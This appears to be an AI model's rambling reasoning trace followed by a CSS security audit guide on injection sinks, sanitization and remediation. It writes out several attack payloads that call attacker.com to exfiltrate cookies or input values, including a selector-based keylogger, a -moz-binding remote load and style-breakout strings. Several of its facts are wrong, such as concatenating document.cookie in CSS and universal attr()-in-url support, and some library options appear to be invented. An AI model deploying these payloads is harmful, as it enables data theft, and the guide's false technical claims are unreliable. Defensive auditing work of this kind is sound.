We are going to focus on CSS security issues. While CSS is generally considered safe, there are some vectors that can lead to security issues, especially when untrusted data is used in styles.
The main concerns are:
- Injection of malicious CSS (CSS injection) that can lead to:
- Data exfiltration via
url() (e.g., background-image: url('http://attacker.com/steal?cookie=' + document.cookie))
- Phishing by overlaying fake elements (using
position: fixed and z-index to create fake login forms)
- Keylogging via attribute selectors and
content (in some browsers, but note that content is not allowed in most attributes for security reasons)
- CSS-based attacks like
expression() (in old IE) or -moz-binding (in old Firefox) that can execute JavaScript.
- Untrusted data sinks: Places where untrusted data (user input, data from URL, etc.) is placed into CSS without proper sanitization.
- Style sanitization: How to safely include untrusted data in CSS.
We are going to audit for:
- Inline styles (style attributes) that include untrusted data.
- Style tags (if they are populated by untrusted data).
- External stylesheets that are generated by the application (if any).
- Any use of
style property in JavaScript that sets CSS from untrusted data.
We will also look for:
- Use of potentially dangerous CSS properties (like
behavior, -moz-binding, expression, etc.) but note that these are mostly deprecated and not supported in modern browsers.
- Use of
url() with untrusted data.
Steps for the audit:
- Identify all places where CSS is generated or set by the application.
- For each, determine if untrusted data (user input, data from URL, database, etc.) is used.
- Check if there is any sanitization of the untrusted data for CSS context.
- Look for specific dangerous patterns.
We'll break down the audit by the way CSS is included:
A. Inline styles (in HTML elements, via style attribute)
B. Style tags (in the HTML head or body)
C. External CSS files (if they are dynamically generated)
D. JavaScript setting CSS via element.style or setAttribute('style', ...)
We are also going to consider:
E. CSS-in-JS (if the project uses a library that generates CSS from JavaScript objects, we need to check if the library handles sanitization)
However, note that the question is about a CSS audit, so we are focusing on the CSS part.
Let's create a checklist:
For each of the above (A, B, C, D, E):
- Is untrusted data being used?
- If yes, how is it being sanitized?
- Are there any dangerous properties being set? (like
behavior, -moz-binding, expression, etc.)
- Are there any
url() functions with untrusted data?
- Are there any other ways that untrusted data could break out of the CSS context and inject malicious code?
Additionally, we should look for:
- Use of
@import with untrusted data? (less common, but possible if the URL is user-controlled)
- Use of custom properties (variables) that are set with untrusted data and then used in properties that can lead to injection (like
content or background).
However, note that CSS custom properties are just text and if they are set inline (e.g., style="--my-var: untrusted;") and then used in a property that can execute code (like content: var(--my-var);), then it could be dangerous. But note that content is not allowed on all elements and in most cases, it's safe because it only affects the generated content. However, if the custom property is used in a url() then it could be dangerous.
Example:
In this case, if the user can control the --bg variable, then they can set it to a URL that exfiltrates data.
But note: the url() function in CSS expects a URL, and if we set the variable to a string that is a valid URL, then it will be used. However, the attacker would have to break out of the variable assignment. In the example above, the variable is set in the same style attribute, so the attacker would have to break out of the variable and then inject a new property? Actually, the variable is set in the same style attribute, so the attacker would have to break out of the variable value and then add a new property. For example:
But note that the attacker controls the entire style attribute? Then they can just write:
So the issue is not specific to custom properties.
Therefore, the main issue is: anywhere that untrusted data is placed in a CSS context without proper escaping.
How to escape? The CSS context has its own escaping rules. We must escape:
- Strings (if we are inside a string, we must escape quotes and newlines, etc.)
- URLs (if we are in a url(), we must escape parentheses, quotes, etc.)
- Identifiers (if we are using an identifier, we must escape special characters)
But note: in many cases, we don't want to allow arbitrary CSS. We might want to only allow a subset of CSS properties and values.
Therefore, the best practice is to use a whitelist of allowed CSS properties and values, and then for each value, validate that it matches the expected pattern.
Alternatively, we can use a library that sanitizes CSS for the context we are in.
Let's structure the audit:
- Inventory of CSS inclusion points.
- For each point, determine the source of the data and if it's trusted.
- Check the current sanitization (if any) and its effectiveness.
- Look for bypasses in the sanitization (if any).
We'll write a report that includes:
- A summary of the findings.
- For each issue, a detailed description, the location (code snippet), the risk, and a recommendation.
Let's assume we are auditing a codebase. We need to look for:
In HTML templates (if the project uses server-side rendering):
- Look for `style="...` and then see if there are any variables (like `${variable}` or `{{ variable }}`) inside.
- Look for `<style> ... </style>` and see if there are any variables inside.
In JavaScript:
- Look for `element.style.property = ...` where the value comes from an untrusted source.
- Look for `element.setAttribute('style', ...)` with untrusted data.
- Look for any CSS-in-JS library usage (like styled-components, emotion, etc.) and check how they handle untrusted data.
In CSS files (if they are static, then less of an issue, but if they are generated by the server, then we must check).
Also, note that some frameworks have built-in protection. For example, React's style prop expects an object and will automatically convert to a string, but it does not sanitize the values. If you set style={{ backgroundImage: url(${userInput}) }} then it's vulnerable.
So, we must be cautious.
Steps for the audit:
Step 1: Find all occurrences of inline styles and dynamic style generation.
Step 2: For each, trace the data source.
Step 3: Check if there is any sanitization function being applied. If yes, evaluate its effectiveness.
Step 4: Check for dangerous properties and values.
Step 5: Check for any use of !important that might bypass other styles? (Not a security issue per se, but could be used in a phishing attack to make a fake element look more real.)
Step 6: Check for any use of @font-face with untrusted data? (Could lead to loading of malicious fonts? Not a direct security issue, but could be used for fingerprinting or DoS.)
Step 7: Check for any use of filter or transform that might be used for clickjacking? (Not directly, but combined with other techniques.)
However, the main focus is on injection and data exfiltration.
Let's write a sample report.
Example of a vulnerable code:
In a template:
<div style="background-image: url({{ user.profile_picture }})"></div>
If user.profile_picture is not sanitized, an attacker could set it to:
"); background-image: url(http://attacker.com/steal?cookie=); color: red; ("
But note: the attacker would have to break out of the url() and then inject new properties. However, the url() function in CSS does not allow nested parentheses, so the above would break the url() and then the rest would be interpreted as CSS. So:
url("); background-image: url(http://attacker.com/steal?cookie=); color: red; ("
This would become:
background-image: url("); background-image: url(http://attacker.com/steal?cookie=); color: red; (");
Actually, let's break it down:
Original: background-image: url({{ user.profile_picture }})
If user.profile_picture is: "); background-image: url(http://attacker.com/steal?cookie=); color: red; (
Then the CSS becomes:
background-image: url(""); background-image: url(http://attacker.com/steal?cookie=); color: red; (");
Wait, that's not exactly. The template would output:
background-image: url("); background-image: url(http://attacker.com/steal?cookie=); color: red; (");
So the first `url(` is closed by the first `)`, then we have a new property `background-image` set to a new URL, and then `color: red` and then an open parenthesis that is not closed? Actually, the attacker's string ends with `("` so the last `)` from the original template closes the last `url(`? Let's reexamine:
The attacker's input: "); background-image: url(http://attacker.com/steal?cookie=); color: red; ("
The template: style="background-image: url({{ user.profile_picture }})"
After substitution: style="background-image: url("); background-image: url(http://attacker.com/steal?cookie=); color: red; (")"
Now, the CSS parser sees:
background-image: url("); -> This sets the background-image to a string that is just a double quote? Actually, the `url()` function in CSS can take a string or a raw URL. Without quotes, it's a raw URL. But the attacker's input starts with a double quote, so the first `url(` is now:
url(" -> then the rest? Actually, the attacker's input starts with `");` so the first `url(` is closed by the `)` in the attacker's input? Let me break:
The CSS string after substitution:
background-image: url("); background-image: url(http://attacker.com/steal?cookie=); color: red; (")
The parser:
background-image: url("); -> This is a syntax error? Actually, the `url()` function ends at the first `)` so the value is `"` (a string of one double quote). Then we have ` background-image: url(...)` which is a new property. Then `color: red` and then `(")` which is an invalid token.
So it's not a clean injection. But note that the attacker can adjust:
user.profile_picture = "); background-image: url(http://attacker.com/steal?cookie=); /*
Then:
background-image: url("); background-image: url(http://attacker.com/steal?cookie=); /* ")
Now, the first `url(` gets a string `"` and then we have a new property `background-image` set to the attacker's URL, and then a comment that comments out the rest.
So the attacker can inject arbitrary CSS properties.
Therefore, we must escape the value for the `url()` context.
How to escape for `url()`? We must escape:
- The string delimiters (if we are using quotes) but note that `url()` can be without quotes too.
- The parentheses.
Actually, the CSS specification says that the `url()` function can contain a string (with quotes) or a raw URL. In the raw URL, parentheses are allowed but they must be balanced? Actually, the raw URL is terminated by a `)` that is not escaped. So if we have unbalanced parentheses, it will break.
Therefore, we must escape:
- If we are using quotes, then escape the quotes and newlines.
- If we are not using quotes, then escape parentheses and whitespace? Actually, the raw URL can contain spaces, but then it would be terminated by the space? The spec says:
The tokenization of the `url()` function is:
url( <url> )
where <url> is a valid URL, which may be quoted or unquoted. If unquoted, it may contain parentheses but they must be escaped? Actually, in unquoted URLs, parentheses are allowed and do not need to be escaped, but if you want to include a `)` in the URL, you must escape it as `\)`? The spec is complex.
Given the complexity, it's better to avoid putting untrusted data in `url()` without proper sanitization.
A safer approach: use a whitelist of allowed URLs (e.g., only allow relative URLs or only allow certain domains) and then encode the URL appropriately.
So, the recommendation is:
- Do not put untrusted data in CSS without sanitization.
- Use a whitelist of allowed CSS properties and values.
- For values that are URLs, validate that they are safe (e.g., same-origin, or a set of allowed domains) and then encode them appropriately for the context.
Now, let's write the audit report structure.
We'll have:
Executive Summary
Findings (with risk level for each)
Recommendations
We are going to assume we are auditing a specific codebase, but since we don't have one, we'll write a generic one.
However, the user asked: "Compose a security-first CSS audit focusing on injection vectors, untrusted data sinks, and style sanitization."
So we are to write an audit guide/checklist? Or a sample audit report?
The instruction says "Compose", so I think we are to write a document that can be used to perform such an audit.
Let's write a template for a CSS security audit.
We'll structure it as:
1. Introduction
2. Methodology
3. Findings (with categories)
4. Recommendations
But without a specific codebase, we can only provide a general approach.
Alternatively, we can write a set of rules to check and examples of vulnerabilities.
Given the instruction, I think we are to produce a document that can be used by an auditor.
Let's do:
CSS Security Audit Guide
1. Introduction
This guide outlines how to audit a web application's CSS for security vulnerabilities related to injection of malicious CSS and improper handling of untrusted data.
2. Scope
The audit covers:
- Inline styles (style attributes)
- Style tags (if dynamically generated)
- External stylesheets (if dynamically generated)
- JavaScript-generated styles (via DOM manipulation or CSS-in-JS)
We do not cover static CSS files that are not generated by the application.
3. Methodology
For each CSS inclusion point:
a. Identify the source of data used in the CSS.
b. Determine if the data is trusted (e.g., from the application's own configuration) or untrusted (user input, URL parameters, database content from users, etc.).
c. If untrusted, check for sanitization:
- Is there a whitelist of allowed CSS properties?
- Is there a whitelist of allowed values for each property?
- How are URLs handled? Are they validated and encoded?
- How are strings handled? Are they escaped for the CSS context?
d. Look for specific dangerous patterns:
- Use of `expression()` (IE) or `-moz-binding` (Firefox) which can execute JavaScript.
- Use of `behavior` (IE) which can load HTC files (which can contain JavaScript).
- Use of `url()` with untrusted data that could lead to data exfiltration or loading of malicious resources.
- Use of `@import` with untrusted data.
- Use of custom properties (CSS variables) that are set with untrusted data and then used in dangerous contexts (like `content` or `url`).
e. Check for any use of `!important` that might be used to override security-related styles (like `pointer-events: none` on overlay elements) but note that this is more of a UI security issue.
Additionally, check for:
- Any server-side code that generates CSS (e.g., a PHP script that outputs CSS) and ensure it properly handles user input.
4. Common Vulnerabilities and Examples
### 4.1 Inline Style Injection
Vulnerable code (in a template):
<div style="color: {{ user.color }};">Hello</div>
If `user.color` is set to:
red; background-image: url(http://attacker.com/steal?cookie=);
Then the CSS becomes:
color: red; background-image: url(http://attacker.com/steal?cookie=);
This injects a new property. If the CSS also uses `url()` without quotes, the attacker can break out and inject arbitrary CSS.
**Fix**: Use a whitelist of allowed colors (or use a color picker that only allows valid colors) and then output the value without any additional formatting.
### 4.2 URL Injection in `background-image` or similar
Vulnerable:
<div style="background-image: url({{ user.image_url }});"></div>
Attacker sets `user.image_url` to:
http://attacker.com/steal?cookie=); background-image: url(http://attacker.com/steal2?cookie=); (
Then the CSS becomes:
background-image: url(http://attacker.com/steal?cookie=); background-image: url(http://attacker.com/steal2?cookie=); ();
The first `url()` is closed by the attacker's `)`, then a new property is set, and then the `(` from the attacker's input starts a new `url()` that is not closed? Actually, the attacker's input ends with ` (` so it's not closed. But the attacker can adjust.
**Fix**: Validate that `user.image_url` is a safe URL (e.g., only relative or from allowed domains) and then encode it for the `url()` context. Alternatively, use a whitelist of allowed values.
### 4.3 CSS-in-JS without sanitization
Vulnerable (React example):
const style = { backgroundImage: `url(${userInput})` };
return <div style={style} />
Same issue as above.
**Fix**: Use a library that sanitizes CSS for you, or manually validate and encode the `userInput`.
### 4.4 Custom Property Injection
Vulnerable:
<div style="--bg: {{ user.input }}; background-image: url(var(--bg));"></div>
If `user.input` is:
http://attacker.com/steal?cookie=); background-image: url(http://attacker.com/steal2?cookie=); --
Then the CSS becomes:
--bg: http://attacker.com/steal?cookie=); background-image: url(http://attacker.com/steal2?cookie=); --; background-image: url(var(--bg));
The first `--bg` is set to a string that ends with `)`, then we have a new `background-image` property set to the attacker's URL, and then we set `--bg` again to an empty string (because the attacker's input ends with `--` and then a semicolon) and then the original `background-image` uses the now-empty `--bg`.
**Fix**: Sanitize the value for `--bg` as an identifier? Actually, custom properties can contain any string, but they are used as identifiers in `var()`. The `var()` function expects an identifier. So we must escape the value to be a valid identifier? But note that the value of a custom property can be any CSS value, not just an identifier. In the example, we are using it in `url(var(--bg))` and `var(--bg)` returns the entire value of `--bg` as a string. So if `--bg` is set to a URL, then it's used as a URL. So the same issue as above.
Therefore, treat custom properties the same as any other CSS value.
5. Recommendations
- Use a well-maintained CSS sanitiser library (like DOMPurify for HTML, but note that DOMPurify also has a CSS mode? Actually, DOMPurify is for HTML and does not sanitize CSS by default. There is a CSS plugin for DOMPurify? Not sure. Alternatively, use a dedicated CSS sanitizer.)
There are some CSS sanitizers:
- https://github.com/91d906h4/stylesheet-sanitizer (for Python)
- https://github.com/css-sanitizer/css-sanitizer (Python)
- For JavaScript, we can use a combination of whitelisting and regex, but be cautious.
- Whitelist allowed CSS properties and values. For example, if you only want to allow colors, then only allow a list of color names, hex, rgb, etc.
- For URLs, use a whitelist of allowed protocols (only `http`, `https`, and maybe `data` with restrictions) and domains.
- Encode the value for the context:
- For a property value that is a string (like `content`), escape quotes and newlines.
- For `url()`, encode the URL and then wrap it in quotes to avoid breaking out of the `url()`.
Example for `url()`:
Instead of: `url(${userInput})`
Do: `url("${userInput.replace(/"/g, '\\"')}")`
But note: the `url()` function can take a string or a raw URL. If we use quotes, then we must escape quotes and newlines in the string. If we don't use quotes, then we must escape parentheses and whitespace? Actually, without quotes, the URL is terminated by whitespace or `)`. So if the userInput contains `)`, it will break.
Therefore, it's safer to use quotes and then escape the quotes and newlines.
However, note that the CSS `url()` function can also be written without quotes, and then the URL is taken until the next `)` or whitespace. So if we use quotes, we are safe from `)` breaking out? Actually, if we use quotes, then the string inside the quotes can contain `)` and it will be part of the URL? Yes, because the `)` inside the string is just a character. So:
url("http://example.com/foo)bar")
is valid and the URL is `http://example.com/foo)bar`.
So by using quotes, we protect against `)` breaking out. But we must escape quotes and newlines in the string.
So:
const escaped = userInput.replace(/["\\]/g, '\\$&').replace(/\n/g, '\\n');
const safe = `url("${escaped}")`;
But note: the CSS specification also allows escaping other characters? We are only escaping quotes and backslashes and newlines. That should be enough for the string context.
However, note that the `url()` function in CSS also allows a URL without quotes, and then the URL is parsed until a `)` or whitespace. If we use quotes, we avoid that.
So, always use quotes for `url()` when including untrusted data.
- Avoid using untrusted data in CSS altogether if possible.
- Use a Content Security Policy (CSP) that restricts the sources for styles and images. This can mitigate the impact of CSS injection by preventing the loading of external resources from untrusted domains.
6. Checklist for Code Review
For each occurrence of dynamic CSS:
[ ] Is the data source trusted?
[ ] If untrusted, is there a whitelist of allowed properties?
[ ] If untrusted, is there a whitelist of allowed values for each property?
[ ] For `url()` values, is the URL validated (protocol and domain) and then encoded (with quotes and escaping)?
[ ] For string values (like `content`), are quotes and newlines escaped?
[ ] Are there any uses of deprecated or non-standard properties that can execute code (like `expression`, `-moz-binding`, `behavior`)?
[ ] Are custom properties (CSS variables) set with untrusted data and then used in a dangerous context (like `content` or `url`)?
[ ] Is there a CSP that restricts style sources and image sources?
7. Tools
- Use static analysis tools to find dynamic CSS generation (e.g., grep for `style=`, `setAttribute('style'`, `cssText`, etc.)
- Use a CSS sanitizer library in the application.
This is a general guide. Adjust according to the technology stack.
Let me know if you need more details on a specific point.
CSS Security Audit: Injection Vectors & Data Sanitization
Executive Summary
This audit focuses on CSS-specific security vulnerabilities arising from untrusted data in style contexts, CSS injection vectors, and insufficient sanitization. While CSS is often considered "safe," modern browsers allow CSS to impact security via data exfiltration, UI redress attacks, and execution of malicious code through deprecated features.
1. Attack Surface Mapping
A. Untrusted Data Sinks (Where user-controlled data enters CSS)
| Sink Location | Risk Level | Common Patterns |
|---|
Inline style attributes | CRITICAL | style="color: ${userInput}" |
Dynamic <style> blocks | HIGH | styleEl.textContent = \body { background: ${data} }`` |
| CSS-in-JS libraries | HIGH | style={{ backgroundImage: \url(${userUrl})` }}` |
cssText / setAttribute('style') | HIGH | el.style.cssText = userControlled |
| External stylesheet URLs | MEDIUM | @import url(\${userProvided}) |
| Custom properties (CSS variables) | MEDIUM | --user-color: \${input} |
B. Injection Vectors (How malicious CSS is injected)
-
URL-based exfiltration
/* Steal cookies via image request */
body { background-image: url("https://attacker.com/?c=" + document.cookie); }
Works in: All browsers (via url() in background, list-style, cursor, etc.)
-
CSS keylogging (via attribute selectors + content)
/* Steal input values */
input[value^="a"] { content: url("https://attacker.com/log?a=" attr(value)); }
Works in: Chrome, Safari, Firefox (limited to content on pseudo-elements)
-
Deprecated execution features
/* IE expression() */
body { width: expression(alert('XSS')); }
/* Firefox -moz-binding */
body { -moz-binding: url("https://attacker.com/xss.xml#xss"); }
Legacy browsers only, but still relevant for intranet/legacy systems
-
UI redress (clickjacking via CSS)
/* Overlay fake login form */
.fake-login {
position: fixed;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 9999;
background: white;
}
2. Vulnerability Assessment Framework
Test Cases for Each Sink
Case 1: Inline Style Injection
// Vulnerable
element.setAttribute('style', `color: ${userInput};`);
// Test payloads:
userInput = `red; background: url("https://attacker.com/steal?data=" + document.cookie);`
userInput = `red; position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999;`
Case 2: CSS-in-JS (React/Vue/Angular)
// React vulnerable pattern
<div style={{ backgroundImage: `url(${userUrl})` }} />
// Vue vulnerable pattern
<div :style="{ backgroundImage: `url(${userUrl})` }" />
// Test payloads:
userUrl = `https://attacker.com/); background: #000; position: fixed; top: 0; /*`
Case 3: Dynamic <style> Blocks
// Vulnerable
document.head.innerHTML += `<style>.user-class { color: ${userColor}; }</style>`;
// Test: userColor = `red; @import url("https://attacker.com/malicious.css");`
Case 4: CSS Custom Properties
<!-- Vulnerable -->
<div style="--theme-color: ${userInput}; background: var(--theme-color)"></div>
<!-- Test: userInput = `red); body { background: url("https://attacker.com/") } //` -->
3. Sanitization Gap Analysis
❌ INEFFECTIVE SANITIZATION PATTERNS
| Approach | Why It Fails | Example |
|---|
| Simple string escaping | CSS has multiple contexts (identifiers, strings, URLs) | Escaping quotes doesn't prevent ); property: value; |
| Blacklist filtering | Too many bypass vectors (e.g., // comments, unicode escapes) | red/**/;background:url(//attacker.com) |
Encoding only < > | CSS doesn't use HTML entities | < is literal text in CSS |
JSON.stringify() | Produces quoted strings that break CSS syntax | "red" becomes invalid CSS value |
✅ EFFECTIVE SANITIZATION APPROACHES
-
Context-Aware Whitelisting
Use a CSS parser to validate against allowed properties/values:
// Using css-tree parser (Node.js)
const { parse, stringify } = require('css-tree');
function sanitizeCSS(css) {
const ast = parse(css, { parseCustomProperty: true });
walk(ast, (node) => {
if (node.type === 'Declaration') {
if (!ALLOWED_PROPERTIES.includes(node.property)) {
throw new Error('Property not allowed');
}
// Validate value against whitelist pattern
}
});
return stringify(ast);
}
-
URL-Specific Sanitization
function sanitizeUrl(url) {
const parsed = new URL(url, location.origin);
// Allow only same-origin or specific CDNs
const allowed = ['self', 'cdn.example.com'];
if (!allowed.includes(parsed.hostname)) return null;
// Encode for CSS context
return `url("${parsed.href.replace(/"/g, '\\"')}")`;
}
-
CSS-in-JS Library Security
4. Browser-Specific Considerations
| Vector | Chrome | Firefox | Safari | Edge |
|---|
url() exfiltration | ✅ | ✅ | ✅ | ✅ |
attr() in content | ✅ | ✅ | ✅ | ✅ |
expression() | ❌ | ❌ | ❌ | ❌ (Legacy IE only) |
-moz-binding | ❌ | ✅ (Legacy) | ❌ | ❌ |
@import with JS | ✅ | ✅ | ✅ | ✅ |
| CSS Variable injection | ✅ | ✅ | ✅ | ✅ |
5. Defense-in-Depth Recommendations
A. Primary Defenses
- Avoid inline styles entirely for user-controlled data
- Use class names instead: Generate CSS classes server-side, apply via
className
- Apply strict CSP:
Content-Security-Policy:
style-src 'self' 'nonce-{RANDOM}';
img-src 'self' https://trusted-cdn.com;
- Blocks inline styles (
'unsafe-inline' not used)
- Restricts image loads to trusted domains
B. Sanitization Requirements
-
For URL contexts:
- Allow only
http:, https:, data: (with strict MIME type check)
- Encode with CSS string escaping
- Validate domain against whitelist
-
For identifier contexts (custom properties, class names):
- Allow only
[a-zA-Z0-9_-]
- Reject any value with
[ ] ( ) { } ; : ! * + ~ > | ^ $ ?
-
For string contexts (content, quotes):
- Escape
" as \", \ as \\, newlines as \A
- Maximum length: 256 characters
C. Secure Coding Patterns
// ❌ VULNERABLE
const userStyle = `background: ${userColor};`;
// ✅ SAFE (class-based)
const colorClass = isSafeColor(userColor) ? `bg-${userColor}` : 'bg-default';
<div className={colorClass} />
// ✅ SAFE (sanitized CSS-in-JS)
import { sanitizeStyle } from 'css-security-utils';
const safeStyle = sanitizeStyle({
background: userColor // goes through whitelist validation
});
6. Audit Checklist
7. Quick Detection Scripts
Pattern 1: Find inline style sinks
# Search for style attributes with template literals/variables
grep -r "style=.*\${" --include="*.js" --include="*.jsx" --include="*.vue" --include="*.html"
grep -r "setAttribute.*style" --include="*.js"
Pattern 2: Find CSS-in-JS with variables
grep -r "style.*=\s*{" --include="*.jsx" --include="*.js" | grep "url("
grep -r "css``" --include="*.js" --include="*.jsx"
Pattern 3: Find dangerous CSS properties
grep -r "expression\|-moz-binding\|behavior" --include="*.css" --include="*.js"
8. Remediation Priority
| Issue | Impact | Likelihood | Priority |
|---|
| Inline styles with user data | High (exfiltration, UI redress) | High | P0 |
| CSS-in-JS with unvalidated URLs | High | High | P0 |
Dynamic <style> blocks | Medium | Medium | P1 |
| Custom properties from user input | Medium | Low | P2 |
| Deprecated features in legacy code | High (if supported) | Low | P3 |
9. Validation Tools
- css-sanitizer (Python):
pip install css-sanitizer
- DOMPurify (with CSS plugin):
dompurify.sanitize(css, {SAFE_FOR_CSS: true})
- CSP Evaluator (Chrome extension): Check CSP effectiveness
- Custom Linter Rule (ESLint custom rule for
style props with variables)
10. Final Recommendations
- Eliminate inline styles with user data completely where possible.
- Implement context-aware sanitization using a dedicated CSS parser.
- Enforce CSP with
style-src 'self' and strict img-src.
- Use class-based styling for 95% of dynamic styling needs.
- Audit all CSS generation quarterly, especially after adding new features.
- Train frontend developers on CSS security (often overlooked).
Remember: CSS injection is not XSS, but it enables equally severe data exfiltration and UI manipulation attacks. Treat CSS as a first-class security boundary equivalent to JavaScript execution contexts.
Audit completed with focus on OWASP Top 10: A03:2021 – Injection, A05:2021 – Security Misconfiguration, A08:2021 – Software and Data Integrity Failures.